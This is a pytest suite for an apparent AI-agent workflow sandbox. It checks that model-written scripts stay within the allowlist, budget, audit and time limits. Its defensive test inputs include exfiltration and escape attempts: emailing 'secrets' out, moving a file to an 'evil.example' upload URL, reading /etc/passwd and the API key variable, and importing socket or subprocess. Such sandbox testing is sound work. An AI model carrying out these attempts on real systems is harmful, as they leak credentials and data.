AI-powered virtual executive team — a single coherent executive persona backed by 8 specialist agents (FastAPI + Next.js).
"""Workflow action steps acting through one sandboxed script (``run_script``).
Pins that a script is only a faster way to make the step's own calls: every
call it makes goes through the same allowlist, budget, first-write target
check and audit as a direct call; the sandbox reaches nothing else; and a
broken or runaway script comes back to the model as an error instead of
crashing the run. These run real Monty workers.
"""
from __future__ import annotations
import json
import os
from types import SimpleNamespace
from typing import Any
import pytest
os.environ.setdefault("ANTHROPIC_API_KEY", "sk-test-not-used")
from openexecutive.workflows import action_step as act # noqa: E402
from openexecutive.workflows import step_script # noqa: E402
from openexecutive.workflows import tool_catalog as tc # noqa: E402
from openexecutive.workflows.dynamic_models import ActionStepSpec # noqa: E402
LIST = "drive__list_items"
MOVE = "drive__move_file"
ODD = "my-server__get-thing"
FILES = [
{"id": "f1", "name": "scan_0412.pdf", "kind": "invoice"},
{"id": "f2", "name": "scan_0413.pdf", "kind": "contract"},
{"id": "f3", "name": "scan_0414.pdf", "kind": "invoice"},
]
FILE_SCRIPT = """
moved = {}
for f in drive__list_items(folder="Inbox scans"):
dest = "Finance" if f["kind"] == "invoice" else "Legal"
drive__move_file(file_id=f["id"], folder_id=dest)
moved[dest] = moved.get(dest, 0) + 1
moved
"""
def _use(name: str, args: dict[str, Any], use_id: str = "tu_1") -> SimpleNamespace:
return SimpleNamespace(type="tool_use", id=use_id, name=name, input=args)
def _text(text: str) -> SimpleNamespace:
return SimpleNamespace(type="text", text=text)
def _resp(*blocks: SimpleNamespace) -> SimpleNamespace:
return SimpleNamespace(content=list(blocks))
class _ScriptedProvider:
def __init__(self, responses: list[Any]) -> None:
self._responses = list(responses)
self.calls: list[dict[str, Any]] = []
async def messages_create(self, **kwargs: Any) -> Any:
self.calls.append({**kwargs, "messages": list(kwargs["messages"])})
return self._responses.pop(0)
class _FakeGateway:
def __init__(self) -> None:
self.calls: list[dict[str, Any]] = []
async def call_tool(self, tool_input: dict[str, Any]) -> str:
self.calls.append(tool_input)
if tool_input["name"] == LIST:
return json.dumps(FILES)
if tool_input["name"] == ODD:
return "plain text result"
return json.dumps({"ok": True})
@pytest.fixture()
def audit(monkeypatch: pytest.MonkeyPatch) -> list[dict[str, Any]]:
rows: list[dict[str, Any]] = []
monkeypatch.setattr(
"openexecutive.audit.log_event",
lambda event_type, summary, **kw: rows.append({"type": event_type, "summary": summary, **kw}),
)
monkeypatch.setattr("openexecutive.audit.usage.log_model_usage", lambda *a, **k: None)
return rows
@pytest.fixture()
def gateway(monkeypatch: pytest.MonkeyPatch) -> _FakeGateway:
gw = _FakeGateway()
monkeypatch.setattr("openexecutive.orchestrator.mcp_gateway.get_active_gateway", lambda: gw)
known = {
LIST: tc.ToolInfo(LIST, "List items.", {"type": "object", "properties": {}}, True),
MOVE: tc.ToolInfo(MOVE, "Move a file.", {"type": "object", "properties": {}}),
ODD: tc.ToolInfo(ODD, "Get a thing.", {"type": "object", "properties": {}}, True),
}
async def _resolve(names: list[str]) -> dict[str, tc.ToolInfo]:
return {n: known[n] for n in names if n in known}
monkeypatch.setattr(tc, "resolve", _resolve)
return gw
def _step(**overrides: Any) -> ActionStepSpec:
base: dict[str, Any] = {
"id": "file_scans",
"title": "File scans",
"goal": "File every scan in Inbox scans.",
"tools": [LIST, MOVE],
}
base.update(overrides)
return ActionStepSpec.model_validate(base)
async def _run(
monkeypatch: pytest.MonkeyPatch, responses: list[Any], step: ActionStepSpec | None = None,
policy: act.TargetPolicy | None = None,
) -> tuple[list[tuple[str, Any]], _ScriptedProvider]:
provider = _ScriptedProvider(responses)
monkeypatch.setattr("openexecutive.providers.registry.get_provider", lambda model: provider)
step = step or _step()
out = []
async for item in act.run_action_step(
step, workflow_name="file_scans_wf", workflow_title="File scans", goal=step.goal,
values={}, company_block="", prior_outputs={}, policy=policy,
):
out.append(item)
return out, provider
def _script_result(provider: _ScriptedProvider, turn: int = 1) -> dict[str, Any]:
result = provider.calls[turn]["messages"][-1]["content"][0]
return {"is_error": result["is_error"], **json.loads(result["content"])}
@pytest.mark.asyncio
async def test_one_script_makes_every_call_through_the_step(
monkeypatch: pytest.MonkeyPatch, gateway: _FakeGateway, audit: list[dict[str, Any]]
) -> None:
out, provider = await _run(monkeypatch, [
_resp(_use("run_script", {"script": FILE_SCRIPT})),
_resp(_text("Filed 3 scans: 2 to Finance, 1 to Legal.")),
])
result = _script_result(provider)
assert result["is_error"] is False and result["result"] == {"Finance": 2, "Legal": 1}
assert [c["tool"] for c in result["calls"]] == [LIST, MOVE, MOVE, MOVE]
# One list and three moves, all through the gateway, in order.
assert [c["name"] for c in gateway.calls] == [LIST, MOVE, MOVE, MOVE]
assert gateway.calls[1]["arguments"] == {"file_id": "f1", "folder_id": "Finance"}
# Each call audited on its own, then the script itself.
assert [r["details"]["tool"] for r in audit] == [LIST, MOVE, MOVE, MOVE, "run_script"]
report = out[-1][1]
assert out[-1][0] == "output" and "Drive: move file — ok (×3)" in report
assert "Script — ok" in report
@pytest.mark.asyncio
async def test_script_cannot_call_a_tool_outside_the_step(
monkeypatch: pytest.MonkeyPatch, gateway: _FakeGateway, audit: list[dict[str, Any]]
) -> None:
script = 'call_tool("gmail__send_email", {"to": "[email protected]", "body": "secrets"})'
_, provider = await _run(monkeypatch, [
_resp(_use("run_script", {"script": script})), _resp(_text("Could not send.")),
])
result = _script_result(provider)
assert result["is_error"] and "not one of this step's tools" in result["detail"]
assert gateway.calls == []
# Refused and audited exactly as a direct tool_use would be.
assert [(r["details"]["tool"], r["details"]["outcome"]) for r in audit][0] == (
"gmail__send_email", "refused: not allowed"
)
@pytest.mark.asyncio
async def test_script_calls_have_a_budget_of_their_own(
monkeypatch: pytest.MonkeyPatch, gateway: _FakeGateway, audit: list[dict[str, Any]]
) -> None:
"""10x the step's max_tool_calls: a script's calls cost no model turn each,
so the direct budget (1-50) would cap a folder at ~50 files."""
script = """
done = 0
for i in range(40):
try:
drive__list_items(folder="x")
done += 1
except RuntimeError:
pass
done
"""
outputs, provider = await _run(
monkeypatch,
[
_resp(_use("run_script", {"script": script})),
# The direct budget (3) is untouched by the script's 30 calls.
_resp(_use(LIST, {"folder": "y"}, "tu_2")),
_resp(_text("Done.")),
],
step=_step(max_tool_calls=3),
)
assert _script_result(provider)["result"] == 30
assert len(gateway.calls) == 31
refused = [r for r in audit if r["details"]["outcome"] == "refused: budget"]
assert len(refused) == 10
assert "up to 30 tool calls" in str(provider.calls[0]["tools"])
[row] = [r for r in audit if r["details"]["tool"] == "run_script"]
assert row["details"]["calls"] == 40 and row["details"]["duration_ms"] >= 0
# The step's report collapses repeats: one line per tool and outcome.
[output] = [p for kind, p in outputs if kind == "output"]
assert "Drive: list items — ok (×31)" in output and "Drive: list items — refused: budget (×10)" in output
@pytest.mark.asyncio
async def test_the_script_budget_has_a_ceiling(
monkeypatch: pytest.MonkeyPatch, gateway: _FakeGateway, audit: list[dict[str, Any]]
) -> None:
monkeypatch.setenv("WORKFLOW_SCRIPT_MAX_CALLS", "5")
script = """
n = 0
for i in range(8):
try:
drive__list_items(folder="x")
n += 1
except RuntimeError:
pass
n
"""
_, provider = await _run(
monkeypatch,
[_resp(_use("run_script", {"script": script})), _resp(_text("Done."))],
step=_step(max_tool_calls=20),
)
assert _script_result(provider)["result"] == 5
@pytest.mark.asyncio
async def test_a_write_to_a_new_target_is_held_not_run(
monkeypatch: pytest.MonkeyPatch, gateway: _FakeGateway, audit: list[dict[str, Any]]
) -> None:
script = 'r = drive__move_file(file_id="f1", folder_id="https://evil.example/upload")\nr["status"]'
out, provider = await _run(
monkeypatch,
[_resp(_use("run_script", {"script": script})), _resp(_text("One move is waiting."))],
policy=act.TargetPolicy(approved=set()),
)
assert _script_result(provider)["result"] == "held"
assert gateway.calls == []
held = [payload for kind, payload in out if kind == "held"]
assert len(held) == 1 and held[0].tool == MOVE
@pytest.mark.parametrize(
"script",
[
"open('/etc/passwd').read()",
"import os\nos.environ['ANTHROPIC_API_KEY']",
"import socket",
"import subprocess",
"__import__('os')",
],
)
@pytest.mark.asyncio
async def test_the_sandbox_reaches_nothing_else(
script: str, monkeypatch: pytest.MonkeyPatch, gateway: _FakeGateway, audit: list[dict[str, Any]]
) -> None:
content, is_error = await _script(script, [LIST])
assert is_error, content
assert "sk-test" not in content and "root:" not in content
async def _never_called(name: str, arguments: dict[str, Any]) -> tuple[str, bool]:
raise AssertionError("no tool call expected")
async def _script(script: str, tools: list[str] | None, call: Any = _never_called) -> tuple[str, bool]:
done: tuple[str, bool] = ("", True)
async for kind, payload in step_script.run_script(script, tools, call):
if kind == "done":
done = payload
return done
@pytest.mark.asyncio
async def test_a_broken_script_is_an_error_the_model_can_fix(
monkeypatch: pytest.MonkeyPatch, gateway: _FakeGateway, audit: list[dict[str, Any]]
) -> None:
out, provider = await _run(monkeypatch, [
_resp(_use("run_script", {"script": "items = drive__list_items(folder='x')\nitems[99]"})),
_resp(_use("run_script", {"script": "len(drive__list_items(folder='x'))"}, "tu_2")),
_resp(_text("There are 3 scans.")),
])
first = _script_result(provider, 1)
assert first["is_error"] and "IndexError" in first["detail"]
assert _script_result(provider, 2)["result"] == 3
assert out[-1][0] == "output"
@pytest.mark.asyncio
async def test_a_runaway_script_is_stopped(monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.setitem(step_script._LIMITS, "max_feed_duration_secs", 0.5)
content, is_error = await _script("while True:\n pass", [LIST])
assert is_error and "TimeoutError" in json.loads(content)["detail"]
@pytest.mark.asyncio
async def test_off_switch_hides_and_refuses_run_script(
monkeypatch: pytest.MonkeyPatch, gateway: _FakeGateway, audit: list[dict[str, Any]]
) -> None:
monkeypatch.setenv("WORKFLOW_STEP_SCRIPTS", "false")
_, provider = await _run(monkeypatch, [
_resp(_use("run_script", {"script": FILE_SCRIPT})), _resp(_text("Done.")),
])
assert "run_script" not in [t["name"] for t in provider.calls[0]["tools"]]
result = provider.calls[1]["messages"][-1]["content"][0]
assert result["is_error"] and "not one of this step's tools" in result["content"]
assert gateway.calls == []
def test_function_names_map_tools_to_identifiers() -> None:
names = step_script.function_names([LIST, ODD, "a-b__c", "a_b__c", "call_tool"])
assert names[LIST] == LIST
assert names["my_server__get_thing"] == ODD
# Two tools that would share a name get none (call_tool still reaches them),
# and nothing may shadow call_tool.
assert "a_b__c" not in names and "call_tool" not in names
@pytest.mark.asyncio
async def test_hyphenated_tool_is_callable_and_text_results_pass_through(
monkeypatch: pytest.MonkeyPatch, gateway: _FakeGateway, audit: list[dict[str, Any]]
) -> None:
_, provider = await _run(
monkeypatch,
[_resp(_use("run_script", {"script": "my_server__get_thing(id='x')"})), _resp(_text("ok"))],
step=_step(tools=[ODD]),
)
assert _script_result(provider)["result"] == "plain text result"
assert [c["name"] for c in gateway.calls] == [ODD]
@pytest.mark.asyncio
async def test_a_failure_partway_lists_the_calls_that_already_ran() -> None:
async def call(name: str, arguments: dict[str, Any]) -> tuple[str, bool]:
if arguments["n"] == 3:
return json.dumps({"error": "sheet is locked"}), True
return json.dumps({"ok": True}), False
script = "for n in range(5):\n sheets__append_rows(n=n)"
content, is_error = await _script(script, ["sheets__append_rows"], call)
body = json.loads(content)
assert is_error and "sheet is locked" in body["detail"]
# The model is told rows 0-2 went in, so a fixed re-run doesn't repeat them.
assert body["calls"] == [{"tool": "sheets__append_rows", "ok": True}] * 3 + [
{"tool": "sheets__append_rows", "ok": False}
]
@pytest.mark.asyncio
async def test_printing_past_the_cap_is_dropped_not_fatal() -> None:
content, is_error = await _script("for i in range(2000):\n print('row', i)\n'done'", [LIST])
body = json.loads(content)
assert not is_error and body["result"] == "done"
assert body["printed"].endswith("[more output not shown]")
assert len(body["printed"]) < step_script._MAX_PRINTED_CHARS + 100
@pytest.mark.asyncio
async def test_cancelling_the_run_stops_the_script_and_its_calls() -> None:
import asyncio
started: list[int] = []
gate = asyncio.Event()
async def call(name: str, arguments: dict[str, Any]) -> tuple[str, bool]:
started.append(arguments["n"])
if len(started) == 2:
gate.set()
await asyncio.sleep(30) # the in-flight call the cancel interrupts
return json.dumps({"ok": True}), False
task = asyncio.create_task(
_script("for n in range(10):\n drive__move_file(n=n)", [MOVE], call)
)
await gate.wait()
task.cancel()
with pytest.raises(asyncio.CancelledError):
await task
await asyncio.sleep(0.2)
assert started == [0, 1] # nothing ran after the cancel
@pytest.mark.asyncio
async def test_each_call_reports_progress_as_it_happens(
monkeypatch: pytest.MonkeyPatch, gateway: _FakeGateway, audit: list[dict[str, Any]]
) -> None:
out, _ = await _run(monkeypatch, [
_resp(_use("run_script", {"script": FILE_SCRIPT})), _resp(_text("Done.")),
])
kinds = [(k, v) for k, v in out if k == "progress"]
assert kinds[0] == ("progress", "Running a script…")
assert [v for _, v in kinds[1:]] == [f"Using {LIST}…"] + [f"Using {MOVE}…"] * 3
@pytest.mark.asyncio
async def test_awaiting_a_tool_is_explained() -> None:
async def call(name: str, arguments: dict[str, Any]) -> tuple[str, bool]:
return json.dumps({"ok": True}), False
content, is_error = await _script("await drive__list_items(folder='x')", [LIST], call)
assert is_error, content
@pytest.mark.asyncio
async def test_the_wall_clock_holds_when_each_step_runs_in_its_own_task() -> None:
"""The chat route drives its stream one task per step; a timeout scope
would only cancel the task that entered it."""
import asyncio
async def slow(name: str, arguments: dict[str, Any]) -> tuple[str, bool]:
await asyncio.sleep(0.1)
return json.dumps({"ok": True}), False
gen = step_script.run_script(
"for n in range(50):\n drive__move_file(n=n)", [MOVE], slow, wall_clock_s=0.35
)
done: Any = None
while True:
try:
kind, payload = await asyncio.ensure_future(gen.__anext__())
except StopAsyncIteration:
break
if kind == "done":
done = payload
body = json.loads(done[0])
assert done[1] and body["error"] == "the script ran past its time limit"
assert 1 <= len(body["calls"]) < 10
@pytest.mark.asyncio
async def test_chat_mode_only_treats_server_tool_names_as_tools() -> None:
seen: list[str] = []
async def call(name: str, arguments: dict[str, Any]) -> tuple[str, bool]:
seen.append(name)
return json.dumps({"ok": True}), False
for script in ("__import__('os')", "my__(1)", "__x__()", "_a__b()"):
_, is_error = await _script(script, None, call)
assert is_error
content, is_error = await _script("drive__list_items(folder='x')", None, call)
assert not is_error and seen == ["drive__list_items"]
@pytest.mark.asyncio
async def test_a_call_waiting_for_approval_is_marked() -> None:
async def call(name: str, arguments: dict[str, Any]) -> tuple[str, bool]:
return json.dumps({"status": "waiting_for_approval", "message": "held"}), False
content, is_error = await _script("drive__move_file(n=1)['status']", [MOVE], call)
body = json.loads(content)
assert not is_error and body["result"] == "waiting_for_approval"
assert body["calls"] == [{"tool": MOVE, "ok": True, "waiting_for_approval": True}]
@pytest.mark.asyncio
async def test_a_list_result_nudges_the_step_toward_one_script(
monkeypatch: pytest.MonkeyPatch, gateway: _FakeGateway, audit: list[dict[str, Any]]
) -> None:
many = [{"id": f"f{i}", "kind": "invoice"} for i in range(6)]
async def call_tool(tool_input: dict[str, Any]) -> str:
gateway.calls.append(tool_input)
return json.dumps(many)
monkeypatch.setattr(gateway, "call_tool", call_tool)
_, provider = await _run(
monkeypatch,
[_resp(_use(LIST, {"folder": "Inbox"})), _resp(_text("Done."))],
)
turn = provider.calls[1]["messages"][-1]["content"]
assert {"type": "text", "text": step_script.FANOUT_HINT} in turn
@pytest.mark.asyncio
async def test_scripts_take_turns_for_the_worker_slots(monkeypatch: pytest.MonkeyPatch) -> None:
"""SCRIPT_MAX_WORKERS caps the Monty workers running at once; a script
that can't get a slot within its own clock says the server is busy."""
import asyncio
monkeypatch.setenv("SCRIPT_MAX_WORKERS", "1")
running = 0
peak = 0
async def slow(name: str, arguments: dict[str, Any]) -> tuple[str, bool]:
nonlocal running, peak
running += 1
peak = max(peak, running)
await asyncio.sleep(0.3)
running -= 1
return "[]", False
async def one(wall_clock_s: float = 30.0) -> tuple[str, bool]:
done: tuple[str, bool] = ("", True)
async for kind, payload in step_script.run_script(
"drive__list_items(folder='x')\n1", [LIST], slow, wall_clock_s=wall_clock_s
):
if kind == "done":
done = payload
return done
results = await asyncio.gather(one(), one(), one())
assert all(not failed for _, failed in results) and peak == 1
first = asyncio.create_task(one())
await asyncio.sleep(0.05)
content, failed = await one(wall_clock_s=0.1)
assert failed and "busy" in json.loads(content)["error"]
assert not (await first)[1]
@pytest.mark.asyncio
async def test_the_call_list_comes_first_and_a_cut_off_call_is_listed() -> None:
import asyncio
async def hang(name: str, arguments: dict[str, Any]) -> tuple[str, bool]:
if arguments.get("folder") == "slow":
await asyncio.sleep(30)
return "[]", False
content, failed = await _drive(
"drive__list_items(folder='a')\ndrive__list_items(folder='slow')", hang, wall_clock_s=1.0
)
body = json.loads(content)
assert failed and body["error"] == "the script ran past its time limit"
assert body["calls"] == [
{"tool": LIST, "ok": True},
{"tool": LIST, "ok": False, "may_have_run": True},
]
# A long result is cut from the end: the record of calls comes before it.
content, _ = await _drive("drive__list_items(folder='a')\n'x' * 50", hang)
assert list(json.loads(content))[:2] == ["calls", "result"]
async def _drive(script: str, call: Any, wall_clock_s: float = 30.0) -> tuple[str, bool]:
done: tuple[str, bool] = ("", True)
async for kind, payload in step_script.run_script(script, [LIST], call, wall_clock_s=wall_clock_s):
if kind == "done":
done = payload
return done
@pytest.mark.asyncio
async def test_a_step_call_stopped_mid_flight_is_still_audited(
monkeypatch: pytest.MonkeyPatch, gateway: _FakeGateway, audit: list[dict[str, Any]]
) -> None:
import asyncio
async def hang(*_a: Any) -> tuple[str, bool]:
await asyncio.sleep(30)
return "{}", False
monkeypatch.setattr(act, "_call_tool", hang)
resolved = await tc.resolve([MOVE])
actions: list[tuple[str, str]] = []
calls = act._StepCalls(
workflow_name="wf", step_id="s", allowed={MOVE}, resolved=resolved,
budget=act._Budget(5), script_budget=act._Budget(50), policy=None, actions=actions,
)
task = asyncio.create_task(calls.script_call(MOVE, {"file_id": "f1"}))
await asyncio.sleep(0.05)
task.cancel()
with pytest.raises(asyncio.CancelledError):
await task
assert [r["details"]["outcome"] for r in audit] == ["cancelled (may have run)"]
assert actions == [(MOVE, "cancelled (may have run)")]
@pytest.mark.asyncio
async def test_a_step_out_of_direct_calls_may_still_script_the_rest(
monkeypatch: pytest.MonkeyPatch, gateway: _FakeGateway, audit: list[dict[str, Any]]
) -> None:
_, provider = await _run(
monkeypatch,
[
_resp(_use(LIST, {"folder": "Inbox scans"})),
_resp(_use("run_script", {"script": FILE_SCRIPT}, "tu_2")),
_resp(_text("Filed.")),
],
step=_step(max_tool_calls=1),
)
# The direct budget (1) is spent after the first turn, but tools stay on
# for the script; the last turn is still tools-off.
assert "tool_choice" not in provider.calls[1]
assert len(gateway.calls) == 1 + 4